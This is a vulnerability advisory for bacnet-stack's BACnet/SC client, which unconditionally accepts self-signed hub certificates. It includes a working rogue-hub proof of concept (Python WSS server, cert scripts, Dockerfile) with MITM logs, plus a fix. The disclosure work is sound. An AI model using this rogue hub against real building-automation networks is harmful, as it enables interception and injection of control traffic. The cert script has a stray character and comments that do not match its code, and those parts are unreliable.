← Back to CVE List
CVE-2026-102537NVD
Vulnerability Summary
Summary `bws_cli_connect()` in `ports/linux/websocket-cli.c` loads the trusted CA cert into the libwebsockets context, then always sets `LCCSCF_ALLOW_SELFSIGNED` in the connection flags. So lws accepts any self-signed hub certificate, whether or not it chains to the loaded CA. A BACnet/SC node finishes the TLS handshake to a rogue hub that presents a self-signed cert. It then hands the attacker its identity (VMAC, UUID) and all later BACnet traffic. Reachable via MITM: the attacker intercepts or impersonates the hub endpoint (on-path, DNS/ARP spoofing, or a network-level redirect). Scope and class This is a certificate-validation defect (CWE-295). It lives in the reference BACnet/SC datalink under `ports/`, not in the protocol core (`src/`). It is not an operator mistake. The bypass flags are a hardcoded literal with no `#ifdef`, config variable, or API parameter to turn them off. A deployer cannot make the node validate the hub certificate without patching source. The node still loads the CA (`client_ssl_ca_mem`), so the intent is plainly to validate, and `LCCSCF_ALLOW_SELFSIGNED` undoes it. The attacker needs an on-path or hub-impersonation position. This is a transport-authentication failure, not memory corruption. Affected version - Target: bacnet-stack 1.6.0-rc1 - Commit read: `1068250f197c0cc78b6357374d8be5df7d94b3cc` - Bug is in the platform datalink port (`ports/`, not `src/` core): `ports/linux/websocket-cli.c`, the shipping BACnet/SC client transport on Linux/BSD/Win32. Root cause The CA cert is loaded correctly into the lws context: `ports/linux/websocket-cli.c:594` ```c info.client_ssl_ca_mem = ca_cert; ``` `ports/linux/websocket-cli.c:595` ```c info.client_ssl_ca_mem_len = ca_cert_size; ``` Then the connection flags are set as an unconditional literal: `ports/linux/websocket-cli.c:632` ```c cinfo.ssl_connection = LCCSCF_USE_SSL | ``` `ports/linux/websocket-cli.c:633` ```c LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK | LCCSCF_ALLOW_SELFSIGNED; ``` `LCCSCF_ALLOW_SELFSIGNED` suppresses OpenSSL error 18 ("self-signed certificate") in the verify callback, so a rogue hub passes TLS validation with any self-signed cert. `LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK` also drops the hostname binding between the wss:// URI and the certificate CN/SAN. Together they remove both halves of server authentication. So the CA cert loaded at lines 594-595 does nothing. The same defect is in: - `ports/win32/websocket-cli.c:630-631` - `ports/bsd/websocket-cli.c:630-631` ASHRAE 135 Annex AB requires mutual TLS for every BACnet/SC connection, including server authentication against the operator-configured CA. Reproduction Call path: ``` bws_cli_connect() -- ports/linux/websocket-cli.c:594-645 info.client_ssl_ca_mem = ca_cert; -- line 594 (CA loaded but never enforced) cinfo.ssl_connection = LCCSCF_USE_SSL | LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK | LCCSCF_ALLOW_SELFSIGNED; -- lines 632-633 lws_client_connect_via_info(&cinfo) -- line 645 (TLS handshake, self-signed cert accepted) LWS_CALLBACK_CLIENT_ESTABLISHED fires BSC protocol machine sends BVLC-SC Connect-Request (fn=0x06) to rogue hub ``` Reproduction status: yes-rebuilt-and-ran. Proof of Concept Self-contained. `docker build` clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; `docker run` feeds the crafted input and reproduces the fault. Save the files below into a `poc/` directory and: ``` docker build -t poc . && docker run --rm poc ``` <details> <summary>evidence.txt (crafted input)</summary> ```text === ICS-190 BACnet/SC rogue-hub MITM PoC -- Live Evidence === Date: 2026-06-30 (UTC) Target commit: 1068250f197c0cc78b6357374d8be5df7d94b3cc Container: icsloop-analyzer:latest (Ubuntu noble, libwebsockets-dev 4.3.3-1.1build3) === Setup === Built: make BACDL=bsc BACNET_PORT=linux sc-hub -> bin/bacschub (BACnet Stack Version 1.6.0-rc1) Two cert pairs generated: CA-A (legitimate, trusted by victim node): certs/ca_a_cert.pem / certs/ca_a_key.pem certs/node_cert.pem / certs/node_key.pem (signed by CA-A) Rogue (self-signed, NOT trusted by victim): certs/rogue_hub_cert.pem / certs/rogue_hub_key.pem openssl verify confirmed rogue cert fails against CA-A: CN = rogue-hub-selfsigned, O = Attacker, C = US error 18 at 0 depth lookup: self-signed certificate error certs/rogue_hub_cert.pem: verification failed Rogue hub started on wss://127.0.0.1:50051 with rogue_hub_cert.pem (self-signed). Victim node started (bacschub --instance 2) with: BACNET_SC_PRIMARY_HUB_URI=wss://127.0.0.1:50051 (points at rogue hub) BACNET_SC_ISSUER_1_CERTIFICATE_FILE=certs/ca_a_cert.pem (trusts CA-A only) BACNET_SC_OPERATIONAL_CERTIFICATE_FILE=certs/node_cert.pem BACNET_SC_OPERATIONAL_CERTIFICATE_PRIVATE_KEY_FILE=certs/node_key.pem BACNET_SC_DEBUG=1 === Victim node log === BACnet SC Hub Demo BACnet Stack Version 1.6.0-rc1 BACnet Device ID: 0 Max APDU: 480 BACnet Device Name: 2 Issuer Certificate 1 file 7 path=certs/ca_a_cert.pem Operational Certificate file 5 path=certs/node_cert.pem Certificate Key file 6 path=certs/node_key.pem BACNET_IFACE=none Waiting for a BACnet/SC connection to hub... === Rogue hub log === [ROGUE HUB] Starting on wss://127.0.0.1:50051 [ROGUE HUB] Using cert: certs/rogue_hub_cert.pem (NOT trusted by victim node) [ROGUE HUB] Subprotocol: hub.bsc.bacnet.org [ROGUE HUB] Listening -- waiting for victim node to connect... [ROGUE HUB] Client connected from ('127.0.0.1', 60558) [ROGUE HUB] TLS accepted -- rogue cert presented (NOT signed by node's trusted CA) [ROGUE HUB] This proves LCCSCF_ALLOW_SELFSIGNED bypassed server cert validation [ROGUE HUB] Subprotocol negotiated: 'hub.bsc.bacnet.org' [ROGUE HUB] Received binary frame: [BVLC-SC Connect-Request] fn=0x06 ctrl=0x00 msg_id=0xb0f2 len=30 vmac=82:a0:de:a8:60:16 uuid=cf4e724876dfecf8f251e8a8d82981c8 max_bvlc=1500 max_npdu=1500 [ROGUE HUB] Raw hex: 06 00 f2 b0 82 a0 de a8 60 16 cf 4e 72 48 76 df ec f8 f2 51 e8 a8 d8 29 81 c8 dc 05 dc 05 [ROGUE HUB] CONNECT-REQUEST RECEIVED -- MITM CONFIRMED [ROGUE HUB] Connection from ('127.0.0.1', 60558) closed: no close frame received or sent [ROGUE HUB] Client connected from ('127.0.0.1', 48056) [ROGUE HUB] TLS accepted -- rogue cert presented (NOT signed by node's trusted CA) [ROGUE HUB] This proves LCCSCF_ALLOW_SELFSIGNED bypassed server cert validation [ROGUE HUB] Subprotocol negotiated: 'hub.bsc.bacnet.org' [ROGUE HUB] Received binary frame: [BVLC-SC Connect-Request] fn=0x06 ctrl=0x00 msg_id=0xb0f3 len=30 vmac=82:a0:de:a8:60:16 uuid=cf4e724876dfecf8f251e8a8d82981c8 max_bvlc=1500 max_npdu=1500 [ROGUE HUB] Raw hex: 06 00 f3 b0 82 a0 de a8 60 16 cf 4e 72 48 76 df ec f8 f2 51 e8 a8 d8 29 81 c8 dc 05 dc 05 [ROGUE HUB] CONNECT-REQUEST RECEIVED -- MITM CONFIRMED === Connect-Request frame decode === First frame (msg_id=0xb0f2): Byte 0 : 0x06 = BVLC_SC_CONNECT_REQUEST Byte 1 : 0x00 = control flags (no ORIG_VADDR, no DEST_VADDR) Bytes 2-3 : 0xb0f2 = message_id (little-endian uint16) Bytes 4-9 : 82:a0:de:a8:60:16 = victim node VMAC (randomly generated at startup) Bytes 10-25: cf4e724876dfecf8f251e8a8d82981c8 = victim node UUID Bytes 26-27: 0x05dc = max_bvlc_len 1500 (little-endian) Bytes 28-29: 0x05dc = max_npdu_len 1500 === Why this proves the bug === The victim node loaded certs/ca_a_cert.pem as its trusted CA via BACNET_SC_ISSUER_1_CERTIFICATE_FILE. The rogue hub's cert (rogue_hub_cert.pem) is self-signed and does NOT chain to CA-A (verified: "error 18: self-signed certificate"). A correct TLS implementation would abort the handshake with an "unknown CA" alert. Instead, because bws_cli_connect() unconditionally sets: cinfo.ssl_connection = LCCSCF_USE_SSL | LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK | LCCSCF_ALLOW_SELFSIGNED; at ports/linux/websocket-cli.c:632-633, libwebsockets ignores the self-signed certificate error and completes the TLS handshake. The node then sends its BVLC-SC Connect-Request to the rogue hub, handing over its device VMAC, UUID, and its presence in the SC mesh to the attacker. The CA cert (client_ssl_ca_mem, loaded at lines 594-595) is loaded but rendered ineffective by the ssl_connection flags -- it would only matter if LCCSCF_ALLOW_SELFSIGNED were absent and the verify callback allowed to reject the cert. === Repro tier: yes-rebuilt-and-ran === Real bacschub process connecting over loopback wss:// to a real Python WSS server. Both processes are real, running binaries. This is a wire-level MITM demonstration. ``` </details> <details> <summary>rogue_hub.py (crafted input)</summary> ```python !/usr/bin/env python3 """ rogue_hub.py -- ICS-190 BACnet/SC rogue-hub PoC Starts a TLS WebSocket server on wss://127.0.0.1:50051 using a self-signed cert that is NOT signed by the CA the victim node trusts. Because bws_cli_connect() in ports/linux/websocket-cli.c:632-633 unconditionally sets: cinfo.ssl_connection = LCCSCF_USE_SSL | LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK | LCCSCF_ALLOW_SELFSIGNED; ...the victim BACnet/SC node will complete the TLS handshake to this rogue hub regardless of whether the hub's certificate chains to the node's trusted CA. When the victim node connects, it sends a BVLC-SC Connect-Request (fn=0x06). This script logs: - "ROGUE HUB: TLS handshake accepted from <addr>" (server-side) - The raw hex + decoded function code of any received binary frame Encoding reference: bvlc_sc_encode_connect_request() in src/bacnet/datalink/bsc/bvlc-sc.c at commit 1068250f. """ import asyncio import ssl import struct import sys import os try: import websockets except ImportError: print("ERROR: 'websockets' package not found. Install: pip3 install websockets", file=sys.stderr) sys.exit(1) ROGUE_CERT = os.environ.get("ROGUE_CERT", "certs/rogue_hub_cert.pem") ROGUE_KEY = os.environ.get("ROGUE_KEY", "certs/rogue_hub_key.pem") BIND_PORT = int(os.environ.get("ROGUE_PORT", "50051")) BVLC_FUNCTIONS = { 0x00: "BVLC-Result", 0x01: "Encapsulated-NPDU", 0x02: "Address-Resolution", 0x03: "Address-Resolution-ACK", 0x04: "Advertisement", 0x05: "Advertisement-Solicitation", 0x06: "Connect-Request", 0x07: "Connect-Accept", 0x08: "Disconnect-Request", 0x09: "Disconnect-ACK", 0x0A: "Heartbeat-Request", 0x0B: "Heartbeat-ACK", 0x0C: "Proprietary-Message", } def decode_bvlc_sc(data: bytes) -> str: if len(data) < 4: return f"[SHORT {len(data)} bytes] {data.hex()}" fn = data[0] ctrl = data[1] mid = struct.unpack_from('<H', data, 2)[0] name = BVLC_FUNCTIONS.get(fn, f"UNKNOWN-0x{fn:02x}") detail = f"[BVLC-SC {name}] fn=0x{fn:02x} ctrl=0x{ctrl:02x} msg_id=0x{mid:04x} len={len(data)}" if fn == 0x06 and len(data) >= 30: # Connect-Request vmac = data[4:10].hex(':') uuid = data[10:26].hex() bmax = struct.unpack_from('<H', data, 26)[0] nmax = struct.unpack_from('<H', data, 28)[0] detail += f" vmac={vmac} uuid={uuid} max_bvlc={bmax} max_npdu={nmax}" return detail async def handler(ws): peer = ws.remote_address print(f"[ROGUE HUB] Client connected from {peer}", flush=True) print(f"[ROGUE HUB] TLS accepted -- rogue cert presented (NOT signed by node's trusted CA)", flush=True) print(f"[ROGUE HUB] This proves LCCSCF_ALLOW_SELFSIGNED bypassed server cert validation", flush=True) print(f"[ROGUE HUB] Subprotocol negotiated: {ws.subprotocol!r}", flush=True) try: async for msg in ws: if isinstance(msg, bytes): decoded = decode_bvlc_sc(msg) print(f"[ROGUE HUB] Received binary frame: {decoded}", flush=True) print(f"[ROGUE HUB] Raw hex: {msg.hex(' ')}", flush=True) if msg[0] == 0x06: print(f"[ROGUE HUB] CONNECT-REQUEST RECEIVED -- MITM CONFIRMED ", flush=True) else: print(f"[ROGUE HUB] Received text frame: {msg!r}", flush=True) except Exception as e: print(f"[ROGUE HUB] Connection from {peer} closed: {e}", flush=True) async def main(): ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ssl_ctx.load_cert_chain(ROGUE_CERT, ROGUE_KEY) # Force http/1.1 ALPN: lws client sends "h2;http/1.1" and would negotiate h2 # if the server supports it. h2 uses a different framing than http/1.1 WebSocket. # Advertising only http/1.1 forces the WS upgrade path the Python lib expects. ssl_ctx.set_alpn_protocols(["http/1.1"]) # Do NOT request client certs (not required -- matching real hub behavior) print(f"[ROGUE HUB] Starting on wss://127.0.0.1:{BIND_PORT}", flush=True) print(f"[ROGUE HUB] Using cert: {ROGUE_CERT} (NOT trusted by victim node)", flush=True) print(f"[ROGUE HUB] Subprotocol: hub.bsc.bacnet.org", flush=True) async with websockets.serve( handler, "127.0.0.1", BIND_PORT, ssl=ssl_ctx, subprotocols=["hub.bsc.bacnet.org"], ): print(f"[ROGUE HUB] Listening -- waiting for victim node to connect...", flush=True) await asyncio.Future() # run until killed if name == "main": asyncio.run(main()) ``` </details> <details> <summary>build.sh</summary> ```sh !/bin/bash build.sh -- ICS-190 PoC setup (runs at image build time, cwd = /poc). bacschub is already built by the Dockerfile at $LIB/bin/bacschub (it runs as the victim BACnet/SC node here, --instance 2). There is no harness to compile (this is a live rogue-hub MITM demo, not a sanitizer harness). build.sh only mints the dual cert set: a legitimate CA-A + node cert the victim trusts, and a self-signed rogue-hub cert the victim must reject but does not. Certs MUST be relative paths: bacschub runs filename_path_valid() (src/bacnet/basic/sys/filename.c) which rejects absolute paths. They are generated under /poc/certs and every process is launched from /poc in run.sh. set -euo pipefail : "${LIB:=/src}" HUB_BIN="$LIB/bin/bacschub" if [ ! -x "$HUB_BIN" ]; then echo "ERROR: $HUB_BIN not found -- the Dockerfile should have built it" >&2 exit 1 fi echo "[build] bacschub present: $HUB_BIN" echo "[build] generating dual cert set (legit CA-A + node, self-signed rogue hub)..." bash gen_certs_dual.sh echo "[build] done." ``` </details> <details> <summary>run.sh</summary> ```sh !/bin/bash run.sh -- ICS-190 BACnet/SC rogue-hub MITM live PoC (self-contained image). docker build -t poc . docker run --rm poc Starts a rogue Python WSS hub on wss://127.0.0.1:50051 presenting a self-signed cert that does NOT chain to the victim's trusted CA-A. Then starts the real bacschub as a BACnet/SC node (--instance 2) configured to trust only CA-A and to dial that hub URI. The node connects anyway and sends its BVLC-SC Connect-Request (0x06) to the rogue hub, proving server-cert validation is disabled: bws_cli_connect() unconditionally sets LCCSCF_ALLOW_SELFSIGNED (ports/linux/websocket-cli.c:632-633). set -euo pipefail : "${LIB:=/src}" HUB_BIN="$LIB/bin/bacschub" ROGUE_LOG=/tmp/rogue_hub_ics190.log NODE_LOG=/tmp/node_ics190.log cd /poc # relative cert paths required by filename_path_valid() echo "=== ICS-190 BACnet/SC rogue-hub MITM PoC ===" echo "" echo "[] Starting rogue hub on wss://127.0.0.1:50051 (self-signed cert, NOT trusted)..." ROGUE_CERT=certs/rogue_hub_cert.pem ROGUE_KEY=certs/rogue_hub_key.pem ROGUE_PORT=50051 \ python3 rogue_hub.py > "$ROGUE_LOG" 2>&1 & ROGUE_PID=$! cleanup() { kill "$NODE_PID" "$ROGUE_PID" 2>/dev/null || true; } trap cleanup EXIT sleep 2 if ! kill -0 "$ROGUE_PID" 2>/dev/null; then echo "ERROR: rogue hub failed to start" >&2 cat "$ROGUE_LOG" >&2 exit 1 fi echo " rogue hub running (pid $ROGUE_PID)" echo "" echo "[] Starting victim BACnet/SC node (trusts CA-A only, dials the rogue hub)..." BACNET_SC_PRIMARY_HUB_URI="wss://127.0.0.1:50051" \ BACNET_SC_FAILOVER_HUB_URI="wss://127.0.0.1:50051" \ BACNET_SC_ISSUER_1_CERTIFICATE_FILE="certs/ca_a_cert.pem" \ BACNET_SC_OPERATIONAL_CERTIFICATE_FILE="certs/node_cert.pem" \ BACNET_SC_OPERATIONAL_CERTIFICATE_PRIVATE_KEY_FILE="certs/node_key.pem" \ BACNET_SC_DEBUG=1 \ stdbuf -oL "$HUB_BIN" --instance 2 > "$NODE_LOG" 2>&1 & NODE_PID=$! echo " node running (pid $NODE_PID); waiting 10s for it to dial the rogue hub..." sleep 10 echo "" echo "=== rogue hub log ===" cat "$ROGUE_LOG" echo "" echo "=== victim node log (head) ===" head -15 "$NODE_LOG" echo "" if grep -q "MITM CONFIRMED" "$ROGUE_LOG"; then echo "=== RESULT: MITM reproduced (node connected to untrusted self-signed hub) ===" exit 0 fi echo "=== RESULT: MITM NOT reproduced ===" >&2 exit 1 ``` </details> <details> <summary>Dockerfile</summary> ```dockerfile Self-contained reproducer image for bacnet-stack BACnet/SC findings. Clones bacnet-stack at the exact commit the finding was verified against and builds the BACnet/SC hub/node demo (bacschub) with the upstream Makefile, exactly as the finding was triaged. No private base image and no local source tree are needed: a maintainer runs the two commands below and reproduces the result from a clean machine. From a finding's poc/ directory: docker build -t poc . docker run --rm poc These two findings (ICS-189 server-side missing mutual-TLS, ICS-190 client-side LCCSCF_ALLOW_SELFSIGNED) are BACnet/SC TLS certificate-verification logic bugs, not memory-safety crashes (finding.json crash.sanitizer == "none"). They are reproduced live on the wire: a real bacschub process over loopback wss:// plus a small Python websockets peer. There is therefore no sanitizer matrix to apply here -- the build matches the triage exactly ("make BACDL=bsc sc-hub", gcc). The reproduced result is the auth-bypass / MITM evidence printed by run.sh, not an ASan/UBSan abort. FROM ubuntu:24.04 Pinned in each finding's .finding.json (target.commit), bacnet-stack v1.6.0-rc1. Override at build time with --build-arg COMMIT=<sha> to reproduce another rev. ARG COMMIT=1068250f197c0cc78b6357374d8be5df7d94b3cc ENV DEBIAN_FRONTEND=noninteractive LIB=/src build deps: gcc/make for bacschub, libwebsockets-dev + libssl-dev for the BACnet/SC datalink port, openssl to mint the PoC certs, python3 + the websockets package for the rogue peer. RUN apt-get update && apt-get install -y --no-install-recommends \ git ca-certificates build-essential make cmake \ libwebsockets-dev libssl-dev openssl \ python3 python3-websockets \ && rm -rf /var/lib/apt/lists/ RUN git clone https://github.com/bacnet-stack/bacnet-stack /src \ && git -C /src checkout "$COMMIT" Build the BACnet/SC demo (lands at /src/bin/bacschub). This is the shipping reference BACnet/SC transport on Linux (ports/linux/websocket-{srv,cli}.c). WORKDIR /src RUN make BACDL=bsc BACNET_PORT=linux sc-hub && test -x /src/bin/bacschub WORKDIR /poc COPY . /poc RUN bash build.sh CMD ["bash", "run.sh"] ``` </details> <details> <summary>gen_certs_dual.sh</summary> ```sh !/bin/bash gen_certs_dual.sh -- generate two separate CA/cert pairs for ICS-190 PoC Output: certs/ca_a_cert.pem -- legitimate CA (trusted by the victim node) certs/ca_a_key.pem certs/node_cert.pem -- node's operational cert (signed by CA-A) certs/node_key.pem certs/rogue_ca_cert.pem -- rogue CA (NOT trusted by the victim node) certs/rogue_ca_key.pem certs/rogue_hub_cert.pem -- rogue hub's cert (signed by rogue CA) certs/rogue_hub_key.pem The victim node trusts only CA-A. It connects to the rogue hub (rogue_hub_cert.pem, signed by rogue CA). Because bws_cli_connect() sets LCCSCF_ALLOW_SELFSIGNED, the node accepts the rogue cert and proceeds with the SC session. set -euo pipefail mkdir -p certs echo "[+] Generating legitimate CA-A..." openssl genrsa -out certs/ca_a_key.pem 2048 2>/dev/null openssl req -new -x509 -days 3650 -key certs/ca_a_key.pem -out certs/ca_a_cert.pem \ -subj "/CN=BACnet-SC-Legit-CA/O=PoC/C=US" 2>/dev/null echo "[+] Generating victim node cert (signed by CA-A)..." openssl genrsa -out certs/node_key.pem 2048 2>/dev/null openssl req -new -key certs/node_key.pem -out certs/node_csr.pem \ -subj "/CN=bacnet-sc-node/O=PoC/C=US" 2>/dev/null openssl x509 -req -days 365 \ -in certs/node_csr.pem \ -CA certs/ca_a_cert.pem -CAkey certs/ca_a_key.pem -CAcreateserial \ -out certs/node_cert.pem 2>/dev/null echo "[+] Generating self-signed rogue hub cert (NOT trusted by victim -- no CA involved)..." Self-signed: issuer == subject. LCCSCF_ALLOW_SELFSIGNED in bws_cli_connect() bypasses the 'self-signed certificate' error (error 18 in OpenSSL depth-0 verify callback). openssl req -x509 -newkey rsa:2048 -days 365 \ -keyout certs/rogue_hub_key.pem \C -out certs/rogue_hub_cert.pem \ -nodes \ -subj "/CN=rogue-hub-selfsigned/O=Attacker/C=US" 2>/dev/null echo "[+] Cert chain verification:" echo " node_cert.pem -> ca_a_cert.pem (must succeed):" openssl verify -CAfile certs/ca_a_cert.pem certs/node_cert.pem echo " rogue_hub_cert.pem -> ca_a_cert.pem (must FAIL -- self-signed, NOT signed by CA-A):" openssl verify -CAfile certs/ca_a_cert.pem certs/rogue_hub_cert.pem 2>&1 | grep -E "OK|error|FAIL|self" || true echo "[+] Done. Certs written to certs/:" ls -la certs/.pem ``` </details> Impact An on-path attacker can intercept the `BACNET_SC_PRIMARY_HUB_URI` connection (via DNS/ARP spoofing or any network redirect) and present a self-signed certificate. The BACnet/SC node will connect without any cert verification, giving the attacker full MITM control of the SC channel: all BACnet traffic between the node and the real hub passes through the attacker's process. The attacker can read, modify, replay, and inject BACnet commands. This defeats the only authenticated transport in BACnet/SC and violates ASHRAE 135 Annex AB. Not RCE without a further memory-corruption bug. Severity: high. Suggested fix Remove `LCCSCF_ALLOW_SELFSIGNED` and `LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK` from the connection flags in all three ports: ```c / ports/linux/websocket-cli.c:632 (also win32:630, bsd:630) / / Change from: / cinfo.ssl_connection = LCCSCF_USE_SSL | LCCSCF_SKIP_SERVER_CERT_HOSTNAME_CHECK | LCCSCF_ALLOW_SELFSIGNED; / Change to: */ cinfo.ssl_connection = LCCSCF_USE_SSL; ``` The CA cert is already loaded via `info.client_ssl_ca_mem` (line 594). Without the bypass flags, libwebsockets will validate the hub cert against the loaded CA and reject connections to hubs with untrusted or self-signed certificates. Remediation Included the suggested fix into PR #1434 and added `BACNET_SC_SELFSIGNED_ENABLED` environment variable which is disabled by default. The change uses a single runtime setter in each websocket-cli.c, storing a static, checked in bws_cli_connect(), and called once from dlenv_network_port_bsc_init() which reads the environment variable.
CVSS v4.0 Base Metrics — Score 7.7
Attack VectorAdjacent
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)None
Integrity (Subsequent System)None
Availability (Subsequent System)None
Affected & Patched Versions
- bacnet-stack <= 1.5.0
- bacnet-stack 1.4.6, 1.5.2, 1.6.1, 1.7.0